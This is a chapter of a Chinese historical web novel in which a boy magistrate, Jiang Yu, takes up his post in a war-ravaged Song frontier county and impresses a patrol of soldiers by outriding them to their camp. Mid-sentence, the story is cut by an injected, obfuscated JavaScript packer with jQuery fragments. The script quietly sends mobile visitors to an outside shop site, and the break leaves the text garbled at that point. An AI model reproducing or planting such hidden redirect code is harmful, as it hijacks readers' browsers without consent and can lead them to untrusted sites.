讲完这些,老人唏嘘不已。
“这安肃县原本在宋朝建朝后,恢复了一些原气。
毕竟此地距离各处都近,附近的州县大都将这里作为中转之地,谁知这安生日子才过了二十来年,从太平兴国四年的高粱河之战开始,两国撕破了脸。
这边关的日子就没法儿过了。”
这老爷子所言非虚,此地位置特殊,又是位于最前线,辽人南下第一站恐怕就是这里。
“他们杀了县令,屠了县衙,每年来好几次,县中人人畏惧,基本全都拖家带口的离开了这里,没有走的也搬到了较远的僻静之所...也有人居家迁到了辽国境内。”
剩下的江御就知道了。
三年前的岐沟关之战中,这里被辽人占领,估摸着也没怎么管这些人的死活,所以日子还是一样的难过。
直到去年的唐河之战,这里在一次被夺了回来,朝廷却一直没派人前来接手。
当地百姓渐渐麻木,对宋朝也好辽国也罢,都没什么好感。
所以哪怕安稳日子过了快一年,也还是在各处躲藏着,并不敢搬回县里,生怕哪一日战火再起,又得亡命天涯。
——如罗家一样拼死抵抗又落到了什么下场?
满门惨死,只余下一个老妪守着满屋子的牌位过日子。
世人多贪生怕死,而此地不怕死的早已死光了。
剩下的,只想好好活着。这情况,当地怕是连小吏都凑不齐。
好在又过了三日后,当初护送江御一家的大内侍卫,领着一小队威虏军人马前来。
花了好大力气才寻着从边境而归的江御。
江御正四处巡视呢,花了几天时间,他彻底摸清了此地到辽国的距离。
...远比老妇人说的更近,安肃县北接辽国易县,两县相交之地距离这里估计只有十三四里,距离易县有人居住的地方才是二十四五里。
两方都默契的将这二十多里地作为了缓冲地带。
这一小队人马跟着江御回了县衙。
残破的县衙中四处散落着早已干涸发黑的血迹。
不难看出这里曾经经历过什么。
“这几位之前在这一带巡边,对此地情况较为熟悉,在你的部下赶来之前,他们先帮着你处理一应事宜。
现下我就先回去了,江老弟,接下来全靠你自己了!”
“等等!”江御急忙摸出一封书信:“还望徐大哥回京后帮我递给户部。”
“好!”
这一队人马约莫有三十多人,他们知道这里没地方住,所以东西带的齐全,准备就地扎营。
还顺便帮江御也带了一顶营帐。
“大人,小的们就先在县外扎营暂居,此地距军营也近,您看还有什么需要的,咱们明日派人回去取!”
领头的是个精瘦的小伙,乍一看这位县令还吓了一跳。
这安肃县多重要的位置,派个年龄这么小的少年来,这不是闹着玩儿呢吗?又看他毫不避讳的将交给户部的书信拿给侍卫带回。
心中肯定这人是打了退堂鼓,怕是呆不了多长时间就得回去。
——看那白净金贵的摸样就不像能吃苦的。
但当面他道爷没说什么,反正做好自己的分内之事就好,反正人只要不是自己逼走的就不关自己的事。
“你们明日几时回去?记得带上我,威虏军名声在外,在下早就有心拜会,只是一直不凑巧。”
“明日一早出发,快马前去,争取当日去当日回。”
那领头之人回应,低垂的眼眸中闪过一丝轻视,故意说快马前往,想将这人劝退。
“好,明日一早,县衙门口相会,今日你们先搭好营帐,明日一起出发。”
怎么听不懂人话?三十五里地说远不远,可若带着他驾车那速度可就慢了。
“你们先忙,明日见。”
一众手下将带来的物资卸了下来,有的人搭建帐篷,有的准备生火。
大伙手上不停,口中却不约而同的谈论起这位知县。
“看他那身量,你们说他有没有十五岁?”
“我看应该有,我家弟弟十六都没他高,不过年纪应该也不大,这么小的知县,我倒是第一次见。”
有人拾来柴火:“可不是吗?长得细皮嫩肉的怕是谁家教养出来的公子哥儿,也不知能呆几日?”
“哈哈哈哈哈。”
一众人笑了起来。
“哎!头儿你见多识广,可有听说这么年轻的知县?”
黑瘦的人没有搭腔,而是喝止他们的议论。
“别说废话,以后在人家手底下干活,手搬弄口舌。”
当兵的都这样,高位向来能者居之,十分看不惯文人靠关系上位那一套。
刚搭好营地没多久,就有个妇人背着个孩子,在不远处探头探脑的。
“什么人?干什么的?”
当兵的都警惕,一声问话将妇人吓得一哆嗦。
“我、我..来给各位爷送吃的!”
这鬼地方谁会给他们送吃的?领头之人缓和了语气:“大妹子,你怕是找错人了。”
她左右看了看:“不会错,这里就你们一群当兵的。
江小哥让问一声你们都吃啥,一会儿我给你们送来,我家卖面的,味道不错!”
江?小哥?刚刚那位少年?
手下的人倒是不客气,管他谁送的呢,有的吃就行,七嘴八舌的点起了吃食。
深秋的夜里吃上一碗热气腾腾面条,不少人对这个小县令有些改观。
不说别的,至少很会做人嘛。
翌日一大早,江御拿了几封书信,让几人分别送往临近的几个县衙中。
自己则与回营的士兵们一起去了威虏军大营。
倒是回营的几位士兵看他牵着匹马,都有些吃惊。
“大人可别逞能,大不了咱们明日再回,可别伤着自个儿。”一个士兵劝到。
“您身子金贵,不比我们这些粗人,实在不行,您与属下共乘一马如何?”
江御温和一笑:“放心,君子六艺在下学的也不错。”
话毕利落的翻身上马,一扯马头,反倒催促起他们来。
“大家都快些!”
啧啧啧,不识好人心。一行六人也纷纷上了马,彼此对视一眼,有心给这位‘小知县’一点下马威。
“驾!”“驾!”几匹马儿毫无预兆的冲了出去。
江御眉毛一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224342|145865||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
挑,在这儿等我呢?
暗自一笑,摇摇头,双腿用力轻夹马腹,紧跟着他们飞驰而去。
跑在最前面的人回头一看,这小子半点没有落后,紧紧地咬着他们。
嘿,见了鬼了!
他扬起马鞭,狠狠的抽了一记:“驾!”
马儿吃痛之下又快了几分,他不由有些心疼,上过战场的人,大多把马看的极为重要,平日里好吃好喝的供着,可舍不得这么跑。
不过总要挫一挫这小知县的锐气,好叫他知晓,这里可是边塞,该是他们这些当兵的说了算。
正暗自盘算呢,身边蓦的多了一个身影。
那知县竟然追了上来!
不过眨眼功夫,他的马就落后了半个头。
马背上的知县意气风发,回头挑衅似的瞥了他一眼很快将他甩在身后。
...这骑术,比他一个骑兵都好?怎么回事?!现在得文官都这么厉害了吗???
不服气的他一咬牙,又是两鞭子下去。
谁知老伙计不仅没有跑得更快,反而慢了下来——营地就在前面右拐了。
眼看着前面的知县快马冲向营地,他心中一沉,完了!
顾不得其他,他使劲拍了拍马儿的脖子,催促着它快些、再快些,可别真冲进营中,万一踩着兄弟们,可吃不了兜着走!
然而,来不及了。
江御转过弯,营地忽然出现在眼前,眼看就要冲上去了,守卫十分震惊。
他狠狠的勒紧缰绳,极力阻止马儿的步伐,生生将马拉的侧过了头,迅速反身滚下马。
后面的人骑马赶到时,只看见少年双腿深深的陷入草地中,愣是用尽全身力气仅凭一根缰绳,把马拉倒在地。
这绳子真结实啊!看见这一幕的人无不感慨。
马儿悲鸣声响了起来——只看它的腿就知道,这马怕是废了。
回营的人连滚带爬的下了马,赶了过去。
“属下失职,您没事吧?!”
“唉。”江御叹口气,将自己从草地中拔了起来,顾不得被勒伤的手。走到摔倒的马身边,紧紧的拥住他,手遮住了它因痛苦而盈满泪水的眼睛。
它活不了了,在场的所有人都知道。
马儿站着睡觉进食,三条腿根本无法支撑自身的重量,它再也站不起来了。
“交给属下处理吧。”
门口的守卫也赶了过来,见是自家战友,这才擦去了额间的汗,松了口气。
看那横冲直撞的架势,还以为是敌袭呢,吓一大跳。
他挥挥手,高台上的士兵这才放下弓箭。
江御起身,很是狼狈的从袖中掏出拜帖:“在下安肃县令江御,前来拜访。”
守卫生生压下将要脱口的问候,狠狠的瞪了一眼江御身后的同僚,胡来!等着挨收拾吧!他是小孩,你也是吗?!
僵硬的扯出一抹笑:“江大人请稍后,在下这就去通传。”
另一个守卫则上前查看江御的敕牒,确认这位少年当真是一县父母官。
确认无误后这才将人好生的请进营地等候。
跟江御一同回营六位士兵此时跟鹌鹑一样,恨不得找个地方钻进去,今日之事少不了一顿罚。